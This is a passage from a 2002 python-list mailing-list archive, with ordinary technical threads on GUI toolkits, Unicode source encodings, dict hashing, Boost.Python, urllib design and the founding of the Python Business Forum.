by the feeling of the designer himself, is nowhere as good as it might have been had a 'greenfield' design been feasible). My own feeling is that C++ is probably as good as it could be made considering the many constraints on it -- pity that those constraints never included "and simple enough for human beings to use well" (or maybe if that had been added the whole set would have become an overconstrained system, with no solution feasible:-). Note that all languages that have been around a while suffer under similar issues -- break some existing programs, or keep piling up cruft as old mechanisms must stay while new ones go in? C++'s version of the dilemma is only magnified by its ambitious goals -- "one language to bind them all", from the lowest-level programming task to high levels of abstraction, AND potentially-top performance ("pay only for features you really use") AND compatibility (more or less) with ANSI/ISO C as well. Alex (Brainbench MVP for C++) From pyth at devel.trillke.net Thu May 9 10:22:50 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 9 May 2002 16:22:50 +0200 Subject: Cache-Commit Dictionaries (was: Re: survey: is shelve broken?) In-Reply-To: <20020509140556.GA27672@devel.trillke> References: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> <20020507221623.GP4604@devel.trillke> <20020509140556.GA27672@devel.trillke> Message-ID: <20020509142250.GB27672@devel.trillke> minor correction in class ccdict: > def get(self, key, default=None): > if dict.has_key(self,key): > v=dict.__getitem(self,key) > else: > if self.deleted.get(key): > v=self[key]=default > del deleted[key] the last three lines should be: if self.deleted.get(key): v=default > else: > v=self[key]=self.STATEDICT.get(key,default) but maybe it's better to first discuss the general idea before going into more coding-details (you already proposed this). holger From boud at valdyas.org Fri May 10 11:35:36 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Fri, 10 May 2002 17:35:36 +0200 Subject: Which GUI Library to Use References: Message-ID: <3cdbe8c9$0$188$e4fe514c@dreader3.news.xs4all.nl> Ron Stephens wrote: > I have learned one thing; there is no royal road to learning GUI > programming. > Wise words! Ultimately, no matter how many dialog windows you can paint and generate, there will be a day when you have to code parts of GUI by hand. > > I suspect that I will need to be satisfied for now with my command > line Python scripts on the Zaurus (which I find pretty cool all by > itself ;-))), but that for real slick GUI versions my best bet is to > really learn BlackAdder and PytQt programming starting with the Rempt > book; but I am always intrigued with "shortcuts" and thus I am still > "eyeing" the jythonc, compiled java option, although what will it gain > me if I find learning AWT to be as hard as learning QT??? > Harder, if my experience is any guide. AWT (and Swing, too) really hurt my head whenever I have to look at them :-) What is it that makes Qt hard to learn for you? > (But isn't it really gratifying that even a newbie hobbyist ike me can > use Python to get as far as I am already, to run my own Python scripts > on the Zaurus? But if I could create a good gui, others might find my > scripts to be fun and usefull ....??? >>> Absolutely. -- Boudewijn Rempt | http://www.valdyas.org From martin at v.loewis.de Fri May 10 02:34:39 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 10 May 2002 08:34:39 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) writes: > Out of curiosity: If a character is two bytes, what would len() report? If > s is a unicode string with wide characters, would list(s) be made of > characters or bytes? Python already supports "wide characters", by means of the unicode type. For this type, len() reports the number of characters, not the number of bytes used for internal storage. > Would that be different under the current situation, or the PEP 263, > or under Stephen's proposal? Would it change depending on how the > unicode is encoded? For the Unicode type, nothing would change - Stephen did not propose to change the Unicode type. Instead, he proposed that non-ASCII identifiers are represented using UTF-8 encoded byte strings (instead of being represented as Unicode objects); in that case, and for those identifiers, len() would return the number of UTF-8 bytes. > A list of such simple questions and answers for various proposals > would help many more people to understand the relevant PEPs. I recommend you familiarize yourself with the Unicode support first that was introduced in Python 2.0. Regards, Martin From boud at valdyas.org Thu May 23 01:09:34 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Thu, 23 May 2002 07:09:34 +0200 Subject: pyGTK References: <3CEC1CD5.A7A57A8E@nospam.com> Message-ID: <3cec7998$0$31221$e4fe514c@dreader1.news.xs4all.nl> John J Breen wrote: > Hey everyone, > I am new to both python and GTK and would like to write an > application using pyGTK. I have been able to get some standard widgets > and things working but have not been able to get as much done as I would > like. I can't seem to find much as far as documentation goes for pyGTK, > it seems the best I can find is C/GTK code and converting/understanding > it has been difficult. Can anyone make any suggestions as to what to do? > Websites? Some open-source applications already written in pyGTK would > be great to look at the source code and see whats going on. > Isn't Sketch written in PyGTK nowadays? -- Boudewijn Rempt | http://www.valdyas.org From ChrisE at lantech.com Sat May 11 10:18:19 2002 From: ChrisE at lantech.com (Christopher Encapera) Date: Sat, 11 May 2002 10:18:19 -0400 Subject: Introducing the Python Business Forum Message-ID: As an FYI, your URL to FAQ & bylaws comes up: http://pbf.nuxeo.org:8580/faq.html If I remove ':8580' I find you are serving out on port 80... Christopher Encapera Lantech.Com chrise at lantech.com 502-267-4200 -----Original Message----- From: Andy Robinson [mailto:andy at reportlab.com] Sent: Friday, May 10, 2002 9:05 PM To: python-list at python.org; python-announce at python.org Subject: Introducing the Python Business Forum We would like to take this opportunity to introduce you to the Python Business Forum. Recent discussion among the leaders of a number of businesses which develop using the Python programming language has found a business case for closer collaboration. A more formal organisation was indicated. Thus was born the Python Business Forum: a trade organisation set up to coordinate official formal business of the Python Business Community. The PBF has a webpage, currently: http://pbf.nuxeo.org/ where you can find: a) the minutes of the formation of the PBF b) the board minutes of the PBF and c) (the good part) the Bylaws of the PBF. In addition, a partial list of Projects already planned by the PBF will be arriving as soon as each Special Interest Group has selected its own Chairman. Membership pre-requisites, and instructions on how to join are found there also. In the hopes that it will encourage membership in the PBF, we hereby present the 'preemptive FAQ'. This is simply a the list of questions and answers that we expect people will ask us. The FAQ currently lives here: We will, of course, update it with answers as we get real questions, frequently asked or not. Laura Creighton Secretary, PBF --------------------------------------------------------------------------- Q1: What are some projects currently in the scope of the PBF? A1.a -- Creating build and test farms and maintaining a stable business release of Python A problem that faces many of us is the certification of the Python distribution on different platforms, and the certification of our products with the Python distribution of different platforms. Through the PBF we could share the hardware and personnel needed to maintain a range of platforms that would be very expensive for each one of us to keep in operation. The current 6 month release cycle that Guido van Rossum and the Python development team prefers is far too quick for most businesses to keep up with. It puts undue strain on a company to re-certify your products every 6 months and your customers get unhappy if you make them upgrade too frequently. It also means that there are multiple candidates for "best version to install" at one single time. Note that some businesses don't find it a problem, but at least 75% of those we have spoken with do. The consensus is that an 18 month release cycle would be better, for business. But this release cycle is far too sluggish for language developers. Their needs are for quick release cycles with freqent changes and constant testing. This attracts the bright, young developers and avoids the problem of 'force-feeding the Python' in order to make a release date, then idling for months. But the more releases one has, the harder it is to make sure that crucial bug fixes are ported to an increasing number of release candidates. The current process requires a hero, who needs things so badly himself that he is willing to do whatever it takes to get a bug-fix release of whatever version out the door. We can improve on this process. But, it falls on us, the Business Community, to make sure that we have something that is stable and which sends a single, uniform signal to the market. This means that we need to backpatch bugfixes and significant performance improvements from the development release of Python to the business release and certify it on a wide range of platforms. We may also want to backport new features that do not break any code. For the core language, this is a sensitive issue, which should require a strong consensus before anything is done, while for libraries it is much less sensitive though of greater importance to some of us - 'service packs' are quite possible. GvR has agreed to flagging such a release and sending such market signals. He would designate 2.x.y as "the release that wears-a-Tie, as endorsed by the Python Business Forum members....". In return, he wants us to take on the burden of backporting any critical fixes; and is keen on the idea of a build farm where pythonlabs' code can be tested against a wide variety of real world apps and extensions, as well as the Python test suite. We have already located a superb resource with over 30 Unix machines to use as the build-and-test farm for Python, which we dub the "Snake Farm". A Separate Snake Farm document will be released early next week (week 20 of 2002). ------------- Status: SiG established. Chairman Laura Creighton A1.b -- Creating a network of agents There is a business case for using other companies that rely on Python as agents for your products and services. Most of our companies are small, with few resources to reach an international market. By co-operating we can all extend our markets without heavy investment. The fact that we are all using Python should make us all able to explain why the underlying technology makes the products we are selling better. We also have the base knowledge to provide additional services and consultancy to our local customers. This limits the need for transfer of know-how to the product itself. ------------- Status: A1.c -- Creating a Consulting and Referral Network of Resources Some of us have the problem of having more business than we can handle, while others have idle resources, or would like to use some of our resources for generating short term revenue in conjunction with working on development that produces revenue in a longer perspective. The PBF would provide a forum where requests and availability could be announced, with reasonable confidentiality. ------------- Status: A1.d -- Escrow and Contract Services The PBF has a bank account and a professional accountant. When dealing with small businesses or with governments there is a significant risk of non- or late payment; likewise small consultants find difficulty in receiving work because their potential clients worry that the work may be unsatisfactory. The PBF will provide an escrow service so that vendors can insist a deposit is paid before starting work, to be paid out under agreed conditions. ------------- Status: A1.e -- Providing the group of companies a better media profile Most of us are small companies with little attractiveness to journalists. Python and the Python community also lack the factors that make media want to talk about us. A commercial organisation that stands behind an OpenSource language would be something new and interesting to report on. By managing this initial news value well, we can then build a lasting media interest for Python as well as our companies and products. Once the productivity advantages of Python are made clear to the general press (as opposed to the computer press), they will need success stories to exemplify why Python works so well. ------------- Status: A1.f -- Organising business-oriented conferences There is considerable interest from various government bodies as well as from large corporations in leveraging the advantages that using OpenSource bring. However, we are usually too small as individual companies to get the big organisations to listen to us. By arranging conferences where we mix the presentation of our individual products with presentations on the principles of how OpenSource works and why Python is a great development language, we can attract decision-makers from these organisations, thereby giving us the chance of conducting business with them directly, as well as creating the base-knowledge of our existance, a prerequisite for getting any big contracts at all. Examples of groups that we would like to target with such conferences are various offices of the EU Commission, Central Government Agencies across Europe and the largest corporations in industry, finance and transport. ------------- Status: A1.g -- Training We hope to kick off a series of reputable Python training courses around Europe. ------------- Status: Want more? Join the PBF and form your own SIG. ------------- Q2. -- Why Now? A2. Because the time is right. The Forum's founder members have long experience in the software industry and are determined to create a professional organisation which grows the commercial market for Python software. Q3. -- Come Again? I didn't understand the last part. A3. Ok, we will now attempt to answer both in the dialect of English used by business, and annotated in the dialect used by hackers. Here's the hacker for Q2. < The Timbot suggested that if the business community was unhappy it could jolly well do something other than complain. The first thing we did was organise. > Q4. -- This looks like a European Organisation to me. Correct? The initial focus is European, for efficiency because the founding companies are located there, but this is a full-fledged international organization. Local regional sub-networks of the PBF are encouraged. < Trying to get tons of work done when your members are spread over the globe is a real pain. We've done it. Every time you need consensus, somebody is bound to be asleep. Unless you have tremendous discipline, your schedules slip. We know how to run international projects with members in various time zones, but the core team does not want to commit itself this way right now. > Q5. -- Why isn't the PSF doing this? The PSF is a developers group, which is concerned about the integrity of the Python Language, which is an entirely different function. It is likely that many companies will be members of both organizations. < We all want better Pythons, but we are bringing a completely different skill-set to the mix. We want different things, and know how to get them. We don't want to discuss nerdy things here, but rather things that bore nerds to tears. Trust me on this one -- if the phrase 'marginal product' causes you to think 'badly made junk' and not 'the rate at which output increases as the quantity of that input increases, all other inputs held constant', then you probably do not wish to be the representative that your company selects for the PBF. Conversely, we do not want to be involved with the technical decisions about the design of Python. We don't care. You give us a Python, and we will make a Python-in-a-Tie out of it, and that's all. Hacker-PBF members will have to leave their propeller-hats at the door before arriving for our meeting, because if the talk gets technical, we will declare such chatter out-of-order and resume with the issue at hand. > Q6. -- Isn't this a bit formal? No. It's _extremely_ formal. Q7. -- Why did you form the PBF before announcing it? We are results-driven, commercial enterprises. We consider the forming of the society as a formality. The things of real interest will be happening in the SIGs. < If we had done that, the debate about whether to do this would _still_ be going on!> Q8. Won't this hurt ActiveState and other companies reselling Python? No. The only thing that will change is that they will have a Python which has been tested on more platforms to start out with. Indeed, they will be free to spend more time in the creative efforts which results in product differentiation, and less on that necessary but tedious work of testing and bug-fixing. Q9. Won't this make more work for Guido and the PythonLabs team? No. < We only got the aggrement with PythonLabs to go ahead with this because we promised them _less_ work, not _more_. > -- http://mail.python.org/mailman/listinfo/python-list From davies at jkevin.freeserve.co.uk Sun May 19 12:45:07 2002 From: davies at jkevin.freeserve.co.uk (Kevin Davies) Date: Sun, 19 May 2002 17:45:07 +0100 Subject: Merits of replacing bash with python Message-ID: <000001c1ff54$89312680$e193193e@oemcomputer> Hi there I am pretty new to python and am looking for some good reasons to replace bash with python. I can see already that python is pretty much executable pseudocode and is OO. Can anyone give further insight? Many thanks J Kevin D -------------- next part -------------- An HTML attachment was scrubbed... URL: From bh at intevation.de Sat May 18 13:56:40 2002 From: bh at intevation.de (Bernhard Herzog) Date: 18 May 2002 19:56:40 +0200 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <6qd6vtxzam.fsf@abnoba.intevation.de> Message-ID: <6q3cwpxrtz.fsf@abnoba.intevation.de> bokr at oz.net (Bengt Richter) writes: > On 18 May 2002 17:15:29 +0200, Bernhard Herzog wrote: > > >It seems to me that the most sensible solution would be to deal with it > >like a dictionary deals with mutable keys: By not caring about whether > >an object is mutable or not (there is no way to determine this anyway) > >but relying on a certain behavior regarding hash values instead. > > >>> d={} > >>> l=range(5) > >>> d[l]='list5' > Traceback (most recent call last): > File "", line 1, in ? > TypeError: list objects are unhashable > >>> l2=tuple([[x] for x in xrange(5)]) > >>> l2 > ([0], [1], [2], [3], [4]) > >>> d[l2] = 'tuplist5' > Traceback (most recent call last): > File "", line 1, in ? > TypeError: list objects are unhashable The messages don't say "list objects are mutable" they say they're unhashable. This actually demonstrates what I was trying to say. The objects used as keys have to be hashable and their hashvalues have to follow certain rules but the objects may well be mutable. You can easily create a sub-class of list that can be used a key in a dict, for instance (similar things work in older versions of python as well): Python 2.2 (#1, Jan 17 2002, 21:04:07) [GCC 2.95.4 20011006 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class mylist(list): ... def __eq__(self, other): ... return self is other ... def __hash__(self): ... return id(self) ... >>> m = mylist() >>> d = {m: "abc"} >>> d {[]: 'abc'} >>> m.append(1) >>> d {[1]: 'abc'} >>> > It seems to care "about whether an object is mutable or not" and doesn't > seem to believe that "(there is no way to determine this anyway)". There is now way in python to tell whether any given object is mutable or not for all objects. Whether an object is immutable depends solely on its implementation. There is no flag in the object or type structures that define whether an object is mutable or not or any other standard way to detect this. > You must have meant something else? No, I meant what I said. > >If an object is stored in a dict as a key, the only things that matter > >are that > > > >1. its hash value doesn't change as long as the object is used as a key. > > > >2. equal objects have equal hash values > > > for some definition of hashing an object equality... Not sure what you mean by that, but 2. above means that a == b implies hash(a) == hash(b) > >There may be some more subtle requirements. I'm not sure what happens > >when two objects that have the same hash value but do not compare eqal > >at first later become equal, for instance. > > > You're not confusing names and values, are you? No. I was talking about objects being used as keys in dicts. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From python at pferris.com Thu May 16 07:53:05 2002 From: python at pferris.com (Peter F. Ferris) Date: Thu, 16 May 2002 06:53:05 -0500 Subject: Page Hit Counter Vandalism & Writing FTP Results Message-ID: The social-political implications aside for just a moment (whether or not I should report the guy, whether I should use 'software' to fix a 'people' problem, etc; etc; is beyond what I intended to discuss, granted I may've opened the can of worms!). The actual line of code I needed is: ftp.retrlines('retr default.asp.cnt',storagef.write) the problem was that last part -- ",storagef.write"! I was missing that portion. Thus, I was displaying, but never writing, the contents of the retrieved file. I actually found the instructive code example at: http://www.python.org/doc/lj21.html -- about 1/3 - 1/2 way down the page. Thanks for all of the help & hints anyhow. Cordially, --Peter From whisper at oz.net Thu May 30 22:24:06 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 30 May 2002 19:24:06 -0700 Subject: Crashing IDLE In-Reply-To: <3CF6B274.2F090A3C@engcorp.com> Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Peter Hansen > Sent: Thursday, May 30, 2002 16:15 > To: python-list at python.org > Subject: Re: Crashing IDLE > > > Gustavo Cordova wrote: > > > > David LeBlanc wrote: > > > "NOP" at the assembly language level does all those things! Events and > > > interrupts are generally sensed at instruction/statement > boundaries, and > > > "pass" would (or should!) count as such. Methinks at a higher level of > > > abstraction (but not really), the pcode interpreter loop > > > should be doing > > > this too. > > > > Woops, you are so right, and me and my big mouth should keep quiet. > [snip] > > pd: Isn't it "halt" which does all those things? > > My Z80 knowledge is becoming hazy... > > Instructions like HALT simply put the CPU into a state where > *all* it does is sit and check for interrupts, and sometimes > bump timer registers along. It is in suspended animation, > not reading or writing memory or incrementing the program > counter. "HALT" is often implemented as a "jump to self" in the chip's microcode. This is a simple way of taking it through the microcode sense/dispatch/process loop that is the basis of all macro ("regular") instructions. > Instruction NOP is a "live" instruction which executes just > like any other instruction except that it leaves no side effects > of any kind except an increase in the program counter and a > small time delay (a couple of clock cycles). It does not, > however, *prevent* checking for interrupts which is always > done (when they're enabled) after each instruction. > > Of course, with the gazillion different chips out there, I'm > sure there are some that do things a little different, but > these two are generally similar (if present) on all typical > micros. I really meant assembler as an analogy - Python's VM (interpreter if you prefer) is quite analgous to a CPU with C as the microcode for the underlying "simple" CPU. Too bad none of the user microcodable chips ever made it into production/broadspread use. It would be interesting to create a truly microcoded Python chip. Perhaps one of those 200,000 gate FPLA's.... hmmmmmmm. > -Peter David LeBlanc Seattle, WA USA From dalke at dalkescientific.com Sat May 11 02:29:09 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sat, 11 May 2002 00:29:09 -0600 Subject: Simple question about how the optimizer works References: Message-ID: Me: > As Tim Peters once pointed out, there haven't been problems with > Python's optimization code . Uncle Tim: > That was before we tried any . One of my coworkers decided they were > tired of seeing LOAD_CONST followed by UNARY_NEGATIVE whenever they had a > negative literal in the source .. That's because they spend too much time programming and not enough time on Usenet. Andrew dalke at dalkescientific.com From bvdpoel at uniserve.com Wed May 1 22:27:38 2002 From: bvdpoel at uniserve.com (bvdpoel at uniserve.com) Date: Wed, 01 May 2002 19:27:38 -0700 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> Message-ID: <3CD0A41A.96BF303B@uniserve.com> Jeff Shannon wrote: > > In article <3CD0850E.94E6EC5F at uniserve.com>, bvdpoel at uniserve.com > says... > > > > I'm doing some midi stuff and need to pack ints into a byte string. I'm > > doing > > > > def mkstring(var): > > ret = "" > > for a in var: > > ret += chr(a) > > return ret > > Presuming that var is a list of ints, the following will be much > more efficient than your code, without requiring array/struct. > > def mkstring(var): > var = [chr(a) for a in var] > return ''.join(var) > > The first line goes through your list of ints and converts it > into a list of single characters. The second line then joins > that list into a single string, and returns it. The biggest > problem with your version is that, by using repeated string > concatenation, you're creating a new, progressively longer and > longer, temporary string item for each element of your list, in > addition to the single-character string. For lists of any > significant length, this quickly becomes *very* inefficient. Ahh, list comprehensions! I knew that I should have looked/learned that. Thanks. I'll give it a go...should work just dandy! -- Bob van der Poel ** Wynndel, British Columbia, CANADA ** EMAIL: bvdpoel at uniserve.com WWW: http://users.uniserve.com/~bvdpoel From mtk at u.washington.edu Mon May 6 23:18:35 2002 From: mtk at u.washington.edu (Totte Karlsson) Date: Mon, 6 May 2002 20:18:35 -0700 Subject: python and C++? References: Message-ID: Hi, Help with getting started wrapping the library with boost would be very much appreciated! However, before that I have some additional questions. Maybe I need to change some stuff in my library. 1) My libraries links to some other rather big C++ libraries. How will that be handled? I have the headers and dll.s and lib files for these libraries. Is that enough? 2) I use templates in my code, is that supported? Which lead to the next question. Is STL supported? I use that a lot..(maybe this is answered somewhere in the documentation?) 3) Documentation? will there be better documentation in the future? I have looked at SWIG and it seems to be pretty well documented. 4) I'm using the Borland compiler. Is that OK? regards totte ps: I'm kind of excited getting a python (or tcl or perl) interface. I realize I should have done that years ago! but I did not know that python is pretty easy to learn.. which is nice! "David Abrahams" wrote in message news:ab48hn$l5f$1 at bob.news.rcn.net... > > "Totte Karlsson" wrote in message > news:ab42mt$2ati$1 at nntp6.u.washington.edu... > > Thanks I'll test boost, > > How about SWIG? is boost preferable? any opinions? > > SWIG's approach is very different. Being the designer of Boost.Python, I'll > let others comment on what's preferable. My sense is that SWIG has very > different strengths. > > > I read that you can't wrap C++ functions which return pointers? sounds > like > > a big limitation to me. My classes return pointers all the time.. is there > a > > workaround? > > I want to use the simplest and most versatile.. > > Boost.Python v2 supports pointer return types, but that's still in a > pre-release phase, mostly due to missing documentation. Several people are > using it successfully to wrap major C++ projects. I can help you get started > with that, if you like. > > To look at Boost.Python v2, get the current boost CVS state and examine > > $(BOOST_ROOT)/libs/python/doc/v2 > > Examples are available in the following files located at > > $(BOOST_ROOT)/libs/python/test > > newtest.py m1.cpp m2.cpp > test_builtin_converters.py test_builtin_converters.cpp > test_pointer_adoption.[py/cpp] > callbacks.[py/cpp] > virtual_functions.[py/cpp] > bpl-test back_reference.[py/cpp] > bpl-test implicit.[py/cpp] > bpl-test data_members.[py/cpp] > > In Boost.Python v2, the object referenced by a returned pointer is copied by > default, but you can instead create a Python object which holds a reference > to any of the wrapped function's arguments to keep the pointee alive. > > -Dave > > > /totte > > > > "David Abrahams" wrote in message > > news:ab3mgb$mgc$1 at bob.news.rcn.net... > > > > > > "Totte Karlsson" wrote in message > > > news:ab1r85$1u8s$1 at nntp6.u.washington.edu... > > > > Hi, > > > > Is there any good texts about how to interface to a windows dll with > > > python? > > > > I'm a total beginner of python. > > > > I'm a C++ programmer and what I want is to make a DLL and interface to > > > that > > > > one with python. > > > > Say for example, I have a C++ class, called mtkMatrix. Is it then > > possible > > > > to allocate a mtkMatrix in a python script and acess its class member > > > > functions? > > > > thanks > > > > /totte > > > > > > Boost.Python was specifically designed to address your needs > > > (www.boost.org/libs/python/doc/). If you need help getting started, > please > > > direct further questions to the C++-sig: > > > http://www.python.org/sigs/c++-sig/. > > > > > > HTH, > > > Dave > > > > > > P.S. I strongly recommend using the latest boost CVS state > > > (http://sourceforge.net/cvs/?group_id=7586) rather than the current > > release > > > version. > > > > > > > > > > > > From whisper at oz.net Fri May 24 14:31:31 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 24 May 2002 11:31:31 -0700 Subject: Grabbing data from my motherboard thermistor? In-Reply-To: Message-ID: If you snoop around enough, I think you'll find that the thermistor data is available on some I/O port address(es), which is implemented as part of the north bridge/south bridge controller chips on your mobo. The good news with Win/ME, is that you can reach in and grab data from an I/O port address with impunity. The bad news is that you can reach into any protected element of your software or hardware with Win/ME ;-) You can probably find the port address(es) either in the mobo documentation or via something in Window's "settings" dialog. You should keep in mind that the data available from the port(s) is probably going to be raw data that will need to be processed to yield something resembling a Fahrenheit or Celsius temperature. That information may be available on the controller chip manufacturer's website - probably Via. Otherwise, contact their tech support. An alternative source could be looking at Linux kernel sources to see how they get the information. I don't know of any pythonic "input port"/"output port", but that doesn't mean they don't exist. You might want to check the Vaults of Parnassus at http://www.vex.net/parnassus/. Actually, looking there just now, I see a package called "winioport" at http://py.vaults.ca/parnassus/apyllo.py/990075885.195097684.92515664 David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of G. Willoughby > Sent: Friday, May 24, 2002 10:49 > To: python-list at python.org > Subject: Re: Grabbing data from my motherboard thermistor? > > > > Also, with more information, better help would be available: > > What OS? What Motherboard brand and model? etc tc... > > OS: WinME > MB: Abit KT7a > > > -- > http://mail.python.org/mailman/listinfo/python-list From paul at boddie.net Thu May 9 11:20:56 2002 From: paul at boddie.net (Paul Boddie) Date: 9 May 2002 08:20:56 -0700 Subject: urllib, urllib2, httplib -- Begging for consolidation? References: Message-ID: <23891c90.0205090720.2df10e38@posting.google.com> brueckd at tbye.com wrote in message news:... > On 8 May 2002, Paul Boddie wrote: > > > > I think we should stick with the urlopen concept because it's very > > powerful - just open a URL and pretend that it's a file. > > Oh, I wasn't saying that it's not powerful (it is), just that it's not too > commonly useful. Obviously YMMV, but for me it has been pretty rare to > want to open some generic resource and read it. I'm not arguing that we > should get rid if this functionality, just observing that for me it has > never been the common case, and doing what has been the common case (http > connection + extra headers + some data to post) is always more work than > it needs to be. For me, what I've mostly been doing with urllib is to connect to locations and to download files. Indeed, having this functionality in the standard library is incredibly useful when a server, for example, doesn't have an FTP service running, but can make connections to the outside and has Python (even 1.5.2) installed. So for me, just being able to connect to resources regardless of protocol is occasionally a "killer application" of urllib. Anyway, returning to the point, there is a large amount of overlap between HTTP and FTP for such simple operations, and the following URLs, which can be used to access a remote server (with authentication details provided) and to download a resource, both make sense: http://user at myserver:8080/docs/resource https://user at myserver:8080/docs/resource ftp://user at myserver/pub/docs/resource Even the following URLs, which I've just made up, share several common details with those above: pop3://user at myserver/INBOX/123 imap://user at myserver/INBOX/123 I can't remember the exact form of "pop3" (or "pop") and "imap" URLs, however. > > The clever design will arise when specialised features of various > > protocols need to be specified whilst using the general interface, > > But if you're specifying features specific to a certain protocol, why use > the general interface to do it? That makes the general interface hacky and > cluttered. My argument is that, right now, people use the general > interface (urllib) not because they don't know what type of URL they're > opening (ftp/http/file/etc) but because the modules somewhat discourage > using the other ones. But it's more convenient to use urllib to access resources in a general way. One just doesn't need to know anything about the protocol, and that's another powerful thing about urllib that I've just remembered: provided SSL support is compiled into Python, using "https" URLs is as simple as changing the URL given to urlopen. Of course, one might want to control "https" connections more closely, for example, but in many cases it is sufficient for urllib to do the default thing. > I don't want to make it sound like too big of a deal, but the use model > today doesn't make sense: today if a newbie wants the easiest way to open > an HTTP URL, he should use urllib. If he wants to do something a little > more complex, he should scrap the urllib code and use httplib. Like I > said, it's not too big of a deal, but it makes more sense if moving from > the simple to the more complex case is incremental and based on the same > code. It would be interesting to hear what kinds of things force you to deal with httplib. I can imagine that there are features that are common to most major protocols - authentication is the most significant example - and I can imagine that incorporating a general interface to these features is mostly possible. > > then there are plenty of other packages which deal with this kind of > > problem; for example, the DB-API has ways of allowing database-specific > > functionality to be specified when opening database connections. > > Actually, this is a great example of what I'm saying we need! :) The DB > API does _not_ provide you a way to open an unknown database type, but a > common way to operate on a database connection once you have one. It would > be "powerful" if the DB API let you pass in a string that, among other > things, included "oracle", "gadfly", "mysql", etc. to denote database type > and it would then go connect to it, but such a feature wouldn't be very > *useful* because in practice you almost always *do* know what database > type you're connecting to. Agreed. The JDBC approach of issuing a URL to the driver manager (which is like what we're talking about here) indeed seems flamboyant when you still have to specify which driver is actually going to be used anyway. > So, you use a specific database module (e.g. > DCOracle2) to get a database connection (to which you can pass all sorts > of custom information to), after which you can use the connection in a > pretty generic way. At the same time, however, the connection object can > still expose additional vendor-specific functionality in addition to what > is specified in the DB API. One of the problems with the DB-API as it is today, however, is that it doesn't go far enough to hide vendor-specific differences. > A similar approach might work well for the different protocol libraries - > go to the appropriate module to open the one you want (setting it up with > any protocol-specific information), after which you have a file-like > object that your code can use generically. Note that on top of all this > somebody could still have the urllib functionality that takes a generic > URL, figures out the appropriate protocol, and returns the correct > "connection" object for your code to use, but such a top-level function > would *not* be the place to start adding protocol-specific options. I believe that specialisation may be introduced into the objects returned by whatever function was used to create them (even if the creation was delegated to other functions, classes or modules). For example, an object returned by the new-style urlopen which was given an "http" URL may provide different additional information and methods to an object created from an "ftp" URL. [...] > With network protocols, however, there is much less overlap in both > functionality and how you'd use them (and rightfully so since they are > different protocols built to serve different purposes!) And that's the > whole reason why a generalized interface is nifty but less useful - the > protocols were built to do different things so trying to use them all the > same way is essentially dumbing them all down near the level of just a > file (and it's ok to have such a dumbing down function, but it's just not > the common case). Again, I would say that many protocols lend themselves to a filesystem type of view of the remote location. Perhaps this isn't always appropriate, but it is an interesting abstraction which could form the basis of an extended urllib. The very nature of URLs tends to suggest a filesystem abstraction of network resources - that's why they were invented, after all. > I think I get your point, but I'd state it as "the key is to try to have > each decreasingly common case build on the previous case" (so you don't > have to relearn and you don't have to toss out work already done). Indeed. Paul From martin at v.loewis.de Sun May 12 11:17:16 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 17:17:16 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > Which, sigh, actually violates the Unicode standard. (The standard > requires that for UTF-8 and UTF-{16,32}{LE,BE} a leading ZERO-WIDTH > NO-BREAK SPACE be considered exactly that, and it may not be > filtered.) Can you quote chapter and verse where it states that? In respect of this text, how do you interpret http://www.unicode.org/unicode/faq/utf_bom.html#25 which says "No, a BOM can be used as a signature no matter how the Unicode text is transformed: UTF-16, UTF-8, UTF-7, etc." and the answer to question 29 adds "Yes, UTF-8 can contain a BOM. However, it makes no difference as to the endianness of the byte stream. UTF-8 always has the same byte order. An initial BOM is only used as a signature -- an indication that an otherwise unmarked text file is in UTF-8." Regards, Martin From seraphim at linuxmail.org Thu May 30 00:47:14 2002 From: seraphim at linuxmail.org (seraphim) Date: 29 May 2002 21:47:14 -0700 Subject: Making Programs Executable Message-ID: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> I am reading the Python tutorial, and they say to use '#! /usr/bin/env python' as the first line to be able to execute the program withought having to type 'python file'. I am getting a bad interpreter error. I am running Slackware 8.0 and Red Hat 7.3 as well. Any help would be nice. From periodismosinmascara at fibertel.com.ar Thu May 30 15:27:39 2002 From: periodismosinmascara at fibertel.com.ar (Periodismo Sin Máscara) Date: Thu, 30 May 2002 16:27:39 -0300 Subject: Argentina: territorio de muertos que caminan hacia su propio funeral. Message-ID: An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: 01.jpg Type: application/octet-stream Size: 9291 bytes Desc: not available URL: From whisper at oz.net Fri May 10 18:02:10 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 10 May 2002 15:02:10 -0700 Subject: Which GUI Library to Use In-Reply-To: Message-ID: >From http://www.fox-toolkit.org/news.html: April 5, 2002 - New drop: FOX 1.1.8 That's pretty new :) David LeBlanc Seattle, WA USA > Far as I know Fox is no longer being maintained... > > Did someone pick that up and start developing it again? > > Bob From whisper at oz.net Mon May 13 06:32:07 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 13 May 2002 03:32:07 -0700 Subject: which db should I use? In-Reply-To: 